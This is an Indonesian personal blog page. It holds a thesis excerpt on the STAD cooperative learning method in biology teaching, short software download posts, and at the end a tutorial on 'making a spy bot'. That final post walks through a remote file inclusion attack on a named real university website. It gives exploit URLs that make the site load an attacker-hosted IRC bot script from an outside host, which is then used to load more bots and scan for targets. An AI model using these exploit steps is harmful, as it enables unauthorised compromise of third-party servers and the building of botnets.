Senin, 22 Oktober 2012

makalah

 BAB I

PENDAHULUAN

A. Latar Belakang Masalah

            Kurikulum Berbasis Kompetensi adalah sebuah konsep kurikulum yang menekankan pada pengembangan kemampuan melakukan tugas-tugas dengan standar perfomansi tertentu, sehingga hasilnya dapat dirasakan oleh siswa, berupa penguasaan terhadap seperangkat kompetensi tertentu (Nurhadi,2004: 18). Dalam KBK lebih ditekankan pada adanya pencapaian kompetensi atau kemampuan ketrampilan yang diperoleh siswa dalam kegiatan belajar mengajar. Pendidikan tidak hanya ditekankan pada penguasaan materi, tetapi juga ditekankan pada penguasaan ketrampilan. Siswa juga harus memiliki kemampuan untuk berbuat sesuatu dengan menggunakan proses dan prinsip keilmuan yang telah dikuasai, dan Learning to Know (pembelajaran untuk tahu) dan Learning to Do (pembelajaran untuk berbuat) harus dicapai dalam KBM. Dalam pengajaran KBK, rangkaian pengajaran yang mencakup prinsip dan ketrampilan merupakan hal-hal yang diharapkan sebagai hasil belajar, yang telah dirumuskan sebagai hasil belajar mengajar. Alat-alat dan pendekatan rancangan sistem pengajaran menuntut para guru agar pengajaran menyediakan suatu kondisi belajar bagi siswa yang kondusif, jadi prinsip-prinsip belajar merupakan petunjuk bagi guru dalam menata kondisi belajar yang efektif. 
       Berpijak pada data empirik di MAN Sukoharjo menunjukkan bahwa hasil belajar siswa dalam pemahaman konsep pada mata pelajaran Biologi belum memuaskan dalam artian hasil belajar rata-rata yang diperoleh masih berkisar pada nilai batas tuntas yaitu 60. Hal ini disebabkan konsep tersebut sulit untuk dipahami. Akibat yang dirasakan adalah tingkat pemahaman dan penguasaan konsep siswa tidak optimal. Nilai batas tuntas hanyalah batasan minimal yang berarti pencapaian terendah dengan kata lain pengusaan atau pemahaman masih rendah pula. Pembelajaran baru dapat dikatakan berhasil jika mampu melampaui batasan terendah secara signifikan. Upaya untuk mencapai target hasil belajar yang optimal itu dapat diupayakan melalui inovasi pembelajaran yang mampu memberikan penguatan konsep yang maksimal kepada siswa.
       Pada dasarnya, penerapan metode mengajar yang bervariasi berupaya untuk meningkatkan keberhasilan siswa dalam belajar dan sekaligus sebagai salah satu indikator peningkatan kualitas pendidikan. Namun perlu diketahui bahwa tingkat keberhasilan siswa dalam menangkap pelajaran dipengaruhi oteh banyak faktor, baik faktor dari luar maupun faktor dari dalam siswa itu sendiri. Metode pengajaran yang baik hendaknya disesuaikan dengan karakteristik materi pokok yang akan disampaikan. Berdasarkan hal tersebut maka diperlukan suatu metode pembelajaran yang diharapkan dapat digunakan sebagai sarana untuk menyampaikan ilmu pengetahuan untuk siswa secara efektif. Penerapan metode-metode mengajar yang bervariasi akan dapat mengurangi kejenuhan siswa dalam menerima pelajaran. Berkaitan dengan semakin perlunya reformasi model pembelajaran dan mengingat pentingnya interaksi kooperatif tersebut, maka pembelajaran strategi pembelajaran kooperatif dalam pendidikan sangat penting. Pembelajaran koopeatif mempunyai syarat-syarat untuk mencapai hasil yang maksimal yaitu, adanya perbedaan etnik/ras, bersifat heterogen, adanya rasa tanggung jawab perseorangan, tatap muka, komunikasi antar anggota dan evaluasi proses kelompok. Oleh karena itu untuk mencapai tujuan dari salah satu anggota, maka salah seorang anggota tersebut harus membantu kelompoknya dengan melakukan apa saja yang dapat membantu kelompok itu berhasil (Slavin,1995: 5), Maka perlu adanya pembelajaran yang berpusat pada siswa sehingga siswa aktif dalam kegiatan belajar mengajar. Hal tersebut dapat dilakukan dengan beberapa cara antara lain : diskusi, presentasi, debat pendapat dan sebagainya sehingga KBM yang berlangsung aktif dan siswa tidak cepat mengalami kebosanan.
     Pembelajaran kooperatif adalah aktifitas belajar kelompok yang diatur sehingga pembelajaran pada struktur sosial pertukaran informasi antar anggota dalam kelompok dan tiap anggota bertanggung jawab untuk kelompok dan dirinya sendiri dan dimotivasi untuk meningkatkan pembelajaran lainnya. Adapun beberapa metode pembelajaran kooperatif, antara lain : Student Teams Achievement Division (STAD), Teams Games Tournament (TGT), Jigsaw, Cooperative Integrated Reading and Composition (CIRC) dan Teams Assisted Individualization (TAI).
       Salah satu alternatif metode pembelajaran yang dapat digunakan untuk mengantisipasi keadaan di atas adalah metode pembelajaran kooperatif yang dipandang efektif menciptakan interaksi yang positif dan terstruktur dalam menciptakan masyarakat belajar (Learning Community). Siswa tidak hanya belajar dari guru, tetapi juga dari teman (Tutorial Sebaya). Salah satu bentuk dari dari metode tersebut adalah Student Team Achievement Divisions (STAD) yang telah dikembangkan dan diteliti secara luas. Metode STAD merupakan suatu bentuk pembelajaran kooperatif yaitu pendekatan pembelajaran yang berfokus pada penggunaan kelompok kecil siswa untuk bekerja sama memaksimalkan kondisi belajar guna mencapai tujuan belajar.
     Metode STAD menempatkan siswa dalam kelompok belajar beranggotakan empat orang yang merupakan campuran menurut tingkat kinerja, jenis kelamin dan suku. Metode STAD terdiri dari lima komponen utama yaitu presentasi kelas, kelompok, kuis individual, skor perbaikan (perkembangan) individu dan penghargaan kelompok. Presentasi kelas dilakukan secara pengajaran langsung atau diskusi dengan guru dan ditekankan pada suatu materi yang akan disampaikan. Kemudian siswa belajar dalam kelompok-kelompok yang sebelumnya telah ditentukan oleh guru. Komunikasi edukatif akan terjalin antara guru dengan siswa dan siswa dengan siswa dalam suatu diskusi kelas. Untuk mengetahui tingkat pemahaman materi tersebut, siswa diberi kuis individual. Skor perbaikan siswa didasarkan pada seberapa besar skor kuis siswa melampaui skor dasar mereka sebelumnya. Kemudian tiap skor perkembangan siswa dalam satu kelompok dijumlahkan. Bagi kelompok yang memperoleh skor tinggi akan mendapatkan penghargaan kelompok. Penghargaan dibagi manjadi tiga golongan, yaitu penghargaan dengan sebutan tim istemewa, hebat dan baik. Diharapkan dengan penghargaan tersebut siswa dapat termotivasi untuk belajar dengan giat yang pada akhirnya akan menghasilkan pembelajaran yang berkualitas dan optimal.
      Alasan menggunakan metode STAD adalah bahwa dengan adanya diskusi kelompok akan tercipta interaksi edukatif, serta dengan adanya penghargaan dalam metode ini akan dapat meningkatkan peran serta dan keaktifan siswa karena masing-masing tim termotivasi untuk mendapatkan penghargaan tersebut.
Berpijak pada uraian latar belakang masalah di atas, maka telah dilakukan penelitian dengan judul : “PENERAPAN METODE PEMBELAJARAN KOOPERATIF STUDENT TEAM ACHIEVEMENT DIVISIONS (STAD) UNTUK MENINGKATKAN PEMAHAMAN KONSEP SISWA KELAS XI IPA MAN SUKOHARJO”.

            B. Identifikasi Masalah

Berdasarkan latar belakang masalah yang dikemukakan dapat diidentifikasikan masalah sebagai berikut:
1. Proses pembelajaran di kelas XI IPA MAN Sujoharjo masih menggunakan metode konvensional yang selama ini dinilai kurang sesuai, yaitu metode ceramah, maka perlu digunakan metode pembelajaran lain.
2. Sekolah kurang mengoptimalkan sarana dan prasarana dalam proses kegiatan belajar mengajar.
3. Pemahaman konsep siswa terhadap mata pelajaran biologi masih rendah dilihat dari nilai rata-rata siswa yang masih berkisar pada nilai KKM

C. Pembatasan Masalah

Agar penelitian ini tidak menyimpang dari tujuan yang ingin dicapai dan agar tepat sasaran, serta adanya keterbatasan pada penelitian ini maka tidak memungkinkan semua masalah diteliti. Berdasarkan pada latar belakang masalah dan identifikasi masalah, maka pengkajian dan pembatasan masalah dititikberatkan pada :
1. Subyek Penelitian
Subyek penelitian dibatasi pada siswa kelas XI IPA MAN Sukoharjo.
2. Obyek Penelitian
a. Materi Pokok
Materi yang dipelajari adalah pokok bahasan Sistem Pencernaan Makanan.
b. Metode Pembelajaran
Metode pembelajaran STAD. Metode STAD adalah metode pengajaran secara kelompok yang beragam dilihat dari kemampuan akademis yang berbeda-beda.
c. Hasil Belajar Biologi
Hasil belajar biologi yang dibatasi pada nilai ranah kognitif dari pemahaman konsep pokok bahasan Sistem Pencernaan Makanan.

 D. Perumusan Masalah Masalah 

yang akan diteliti dalam penelitian ini dapat dirumuskan: Apakah metode STAD dapat meningkatkan pemahaman konsep siswa daripada metode konvensional pada materi Sistem Pencernaan Makanan?

E. Tujuan Penelitian 

Tujuan yang ingin dicapai dalam penelitian ini adalah untuk: Mengetahui metode pembelajaran STAD dapat meningkatkan pemahaman konsep siswa daripada metode konvensional pada materi Sistem Pencernaan Makanan.

F. Manfaat Penelitian

Hasil penelitian ini diharapkan mampu memberikan manfaat:
1. Bagi Guru
Hasil penelitian ini diharapkan dapat digunakan sebagai bahan pertimbangan dalam menentukan strategi belajar mengajar.
2. Bagi Calon Guru
Hasil penelitian ini bermanfaat dalam mempersiapkan diri untuk memilih metode pembelajaran yang tepat.
3. Bagi Siswa
Untuk memotivasi belajar memecahkan permasalahan secara kooperatif dan sikap menghargai sesama teman.
4. Dinas Terkait
Sebagai bahan pertimbangan upaya perbaikan KBM sehingga mata pelajaran biologi meningkat.

 BAB V

SIMPULAN, IMPLIKASI DAN SARAN


A. Simpulan

Dari hasil penelitian dapat disimpulkan bahwa:
Penerapan metode pembelajaran kooperatif STAD lebih dapat meningkatkan pemahaman konsep siswa daripada penerapan metode pembelajaran konvensional (ceramah) dalam pembelajaran Biologi materi pokok Sistem Pencernaan Makanan siswa kelas XI IPA MAN Sukoharjo.

B. Implikasi

1. Implikasi Teoritis
a. Hasil penelitian ini diharapkan dapat digunakan sebagai referensi bagi sekolah yang bersangkutan tentang metode pembelajaran kooperatif STAD sebagai informasi bagi sekolah tentang pemilihan metode untuk digunakan dalam proses belajar mengajar agar tercapai tujuan pembelajaran.
b. Hasil penelitian ini diharapkan dapat digeneralisasikan di sekolah yang siswanya memiliki persamaan dengan sekolah yang digunakan dalam penelitian ini.
c. Hasil penelitian ini diharapkan dapat menambah pengetahuan sehingga dapat digunakan sebagai salah satu sumber informasi untuk penelitian selanjutnya.

2. Implikasi Praktis
Dari hasil penelitian di atas maka metode pembelajaran kooperatif STAD dapat digunakan dan dikembangkan untuk meningkatkan partisipasi siswa secara aktif dalam proses belajar. Sehingga dapat digunakan sebagai salah satu alternatif pembelajaran yang dapat membantu menumbuhkan pemahaman terhadap materi yang diajarkan dalam meraih hasil belajar yang lebih baik.

C. Saran-Saran

1. Guru

a. Guru hendaknya membantu siswa mengkonstruksi pengetahuan dari berbagai informasi yang didapat dan mendorong keterlibatan aktif siswa dalam pembelajaran.
b. Guru hendaknya memotivasi siswa untuk berani mengemukakan pendapat, mendorong siswa untuk memecahkan masalah berdasarkan kemampuannya sendiri
c. Guru hendaknya mampu menjadi fasilitator dan mediator dalam setiap kegiatan belajar mengajar, mampu memberikan masukan-masukan dan membantu siswa yang mengalami kesulitan.
d. Guru hendaknya mampu menerapkan metode yang tepat dalam mengajar yang mampu memberikan dampak yang baik terhadap hasil belajar.

2. Siswa

a. Siswa hendaknya berpartisipasi aktif dalam setiap pembelajaran karena pembelajaran yang menggunakan metode STAD menuntut adanya peran serta siswa dalam pelaksanannya sehingga siswa mampu memahami konsep yang diajarkan untuk pencapaian kompetensi tertentu.
b. Siswa hendaknya mengaplikasikan ilmu yang didapat dalam kehidupan sehari-hari.
c. Siswa hendaknya lebih kreatif dalam memanfaatkan media pembelajaran yang ada di sekolah dan di luar sekolah.
d. Siswa diharapkan mampu menentukan cara belajar yang sesuai dengan kemampuannya.

3. Orang Tua

a. Orang tua sebagai pendidik di rumah hendaknya senantiasa memotivasi anak untuk giat belajar dan memperhatikan siswa selama di rumah
b. Orang tua hendaknya selalu mengontrol dan mengingatkan siswa untuk mengerjakan setiap tugas yang diberikan sekolah.
c. Orang tua hendaknya menyediakan fasilitas-fasilitas yang dapat digunakan untuk menunjang kegiatan belajar siswa di rumah.

4. Dinas Terkait

a. Sekolah hendaknya menyediakan kelengkapan yang mendukung proses pembelajaran
b. Pengawas, pemantauan dan pengawasan kepada guru bidang studi terutama jalannya pembelajaran yang merupakan salah satu hal yang menentukan keberhasilan kegiatan belajar mengajar.
c. MGMP, membahas lebih dalam tentang pembelajaran yang sesuai dengan materi biologi karena dengan pembelajaran yang tepat pengalaman belajar akan lebih bermakna.

5. Peneliti

a. Supaya diadakan penelitian dengan menambah materi dan waktu penelitian yang lama agar mendapatkan data yang lebih baik
b. Bagi para peneliti perlu mengadakan penelitian sejenis yang melibatkan variabel lain yang lebih berkaitan dengan hasil belajar, sehingga dapat dikeahui faktor-faktor yang memiliki hubungan dengan hasil belajar siswa.
c. Supaya diadakan penelitian dengan metode pembelajaran yang lebih baru dan inovatif.

Senin, 04 Juli 2011

GodScript for mIRC

yang mau nyoba script ini silahkan. fiturnya udah bagus
ada !ym , !adzan, !jam, !cuaca, !primbon
ada juga bot games nya:
  • Games UNO
  • Family Feud
  • Scramble

       downloadnya disini

Download Software PC

Yang mau download software buat pelengkap PC nya silahkan masuk disini

Rabu, 27 April 2011

Meningkatkan Kinerja Komputer

Sering terasa komputer kita lamban kinerjanya. saya memberikan trik agar komputer anda kembali prima kinerjanya. hal itu dengan software satu ini yang dikenal dengan nama CCleaner.


dengan software ini akan mampu memulihkan sistem komputer anda dengan baik.


Ini beberapa fungsi utama CCleaner:
  • Membersihkan cache, My Recent Documents, riwayat URL, cookies dan hal-hal yang tidak berguna dari internet browser kita (Internet Explorer, Firefox, Google chrome, dll).
  • Menghapus isi recycle bin, log-log yang tidak perlu, clipboard dan banyak jenis file yang tidak perlu yang tanpa kita sadari menumpuk dan berserakan di folder system windows.
  • Membersihkan file-file sementara dan riwayat pembukaan file dari banyak aplikasi lain, seperti Firefox, Opera, Safari, Media Player, Google Toolbar, Netscape, Microsoft Office, Nero, Adobe Acrobat Reader, WinRAR, WinZip dll.
  • Memeriksa dan membersihkan registry windows dari bermacam-macam masalah yang sering ditinggalkan begitu saja oleh aplikasi atau bahkan oleh windows itu sendiri seperti File Extensions, ActiveX Controls, ClassIDs, ProgIDs, Uninstallers, Shared DLLs, Fonts, Help File references, Application Paths, Icons, Invalid Shortcuts dll.
software ini gratis. tanpa harus register. yang tertarik silahkan download mencoba software ini di link berikut.

Download Via:

Selasa, 12 April 2011

Smadav v8.4 Pro

ini dia update anvirus lokal buatan Indonesia. tentunya dengan di update akan lebih meningkatkan proteksi komputer anda terhadap virus baru yang belum dikenal.


untuk downloadnya klik link berikut ini


Download Via:


Click Here

Angry Birds For java Mobile

Game ini sudah terkenal sekali dengan keunikannya dan menjadi game terpopuler di tahun 2010. Sekarang bagi penggemar angry birds sudah bisa menikmati game ini di handphone anda 


untuk mendownload game ini disini

Kamis, 13 Januari 2011

Cara Membuat Bot spy

Bot spy ini kegunaannya untuk menload bot-bot yang lain dan bisa juga di gunakan sebagai pencari target, kita hanya menjoinkan bot tersebut ke channel yang ada bot scannya. Bot ini cukup mudah membuatnya. caranya yaitu:
  1. Sediakan target yang masih hidup. contoh targetnya seperti ini: http://cmc-elearning.catholic.ac.kr/bbs/bbs//delete_comment.php?board_skin_path=
  2. Script bot spynya. dapat anda download disini
  3. edit script tersebut di bagian owner, pass, dan servernya, bisa juga nick-nick botnya di ganti sesuka anda.
  4. upload script spy.txt tersebut ke hosting anda. misal setelah diupload alamatnya: http://meidiyansyah.blogspot.com/spy.txt
  5. load bot spy tersebut dengan mozilla atau bot spy lain.dengan cara: http://cmc-elearning.catholic.ac.kr/bbs/bbs//delete_comment.php?board_skin_path=http://meidiyansyah.blogspot.com/spy.txt???
  6. Kalau botnya sudah masuk dia akan notice anda. lalu untuk loginnya: auth <pass>. misal seperti ini: auth cinta
  7. Untuk menload bot laen seperti: bot diam, bot spy, bot guard, bot ping, dll dengan menggunakan rumus: !tes + <target> + <url bot anda> + ??? ketik kan di channel. contohnya seperti ini: !tes http://cmc-elearning.catholic.ac.kr/bbs/bbs//delete_comment.php?board_skin_path=http://meidiyansyah.blogspot.com/ping.txt???
  8. apabila botnya masuk channel anda berarti targetnya hidup [ON].
demikian tutor bot spy.txt. semoga bermanfaat...